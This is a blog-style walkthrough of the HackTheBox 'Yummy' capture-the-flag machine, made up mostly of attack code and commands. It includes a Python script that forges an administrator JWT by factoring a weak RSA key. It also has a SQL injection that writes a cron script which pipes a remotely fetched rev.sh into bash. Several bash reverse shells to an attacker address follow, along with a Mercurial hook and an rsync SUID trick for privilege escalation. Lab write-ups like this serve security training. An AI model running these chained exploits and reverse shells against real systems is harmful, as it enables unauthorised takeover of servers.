Post

HackTheBox Yummy Writeup

Dive into the depths of cybersecurity with the Yummy The Flag (CTF) challenge, a hard-level test of skill designed for seasoned professionals. This intense CTF writeup guides you through advanced techniques and complex vulnerabilities, pushing your expertise to the limit.

Add Hosts

1
10.10.11.36 yummy.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.36"
domain="yummy.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV yummy.htb
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for yummy.htb (10.10.11.36)
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-title: Yummy
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Forge Admin JWT token

Create an Account:

  • Sign up, log in, and capture the JWT token from your browser cookies.

Install Libraries:

1
pip install pyjwt pycryptodome sympy

Exploit Weak RSA Keys:

  • Factor the modulus (n) from the JWT, get p and q, and derive the private key.
  • Re-sign the JWT with "role": "administrator".

Exploit Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64, json, jwt, sympy
from Crypto.PublicKey import RSA
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

token = input("Token? ")
js = json.loads(base64.b64decode(token.split(".")[1] + "===").decode())
n = int(js["jwk"]['n'])
p, q = list((sympy.factorint(n)).keys())
e = 65537
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key = RSA.construct((n, e, d, p, q))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
    private_key_bytes, password=None, backend=default_backend()
)
public_key = private_key.public_key()
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"
new_token = jwt.encode(data, private_key, algorithm="RS256")
print(f"\n{new_token}")

Use Admin JWT

  • Copy the new token into your browser’s cookies.

Exploiting SSTI for RCE

  • As an admin, you can exploit Server-Side Template Injection (SSTI) to execute commands.
  • Inject malicious payloads into templates to gain Remote Code Execution (RCE).

RevShell

Start HTTP server to host rev.sh:

1
2
3
echo "#\!/bin/bash\n/bin/bash -i >& /dev/tcp/vpn-ip/9001 0>&1" > rev.sh
chmod +x rev.sh
python -m http.server

Start Netcat listener:

1
nc -lvnp 9001

Trigger SQL Injection for Reverse Shell

1
2
3
4
5
6
7
8
ip="vpn-ip"
echo -en "Admin Token? " 
read token
url() {
  curl -s -H "Cookie: X-AUTH-Token=$token" "http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+\"$1%3b\"+INTO+OUTFILE++'$2'+%3b"
}
url "ping+$ip" "/data/scripts/dbstatus.json"
url "curl+$ip:8000/rev.sh+|bash" "/data/scripts/pwn"

PrivEsc

Netcat listener:

1
nc -lvnp 9002
1
2
3
4
5
mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
cd /tmp
echo -e "#\!/bin/bash\n/bin/bash -i >& /dev/tcp/vpn-ip/9002 0>&1" > rev.sh
chmod + rev.sh
mv "rev.sh" /data/scripts/app_backup.sh 

in the listener

1
strings /var/www/app-qatesting/.hg/store/data/app.py.i

this show db user and passwords

now you can close all old listeners and ssh in it.

ssh qa@yummy.htb

1
cat /home/qa/user.txt

Netcat listener:

1
nc -lvnp 9001

get a dev shell

1
2
3
4
5
6
7
8
9
cd /tmp
mkdir .hg
chmod 777 .hg
cp ~/.hgrc .hg/hgrc
echo "[hooks]" >> /tmp/.hg/hgrc
echo "post-pull = /tmp/revshell.sh" >> /tmp/.hg/hgrc
echo "bash -c 'bash -i >& /dev/tcp/vpn-ip/9001 0>&1'" > /tmp/revshell.sh
chmod +x /tmp/revshell.sh
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

get root

1
2
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/
/opt/app/bash -p
1
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.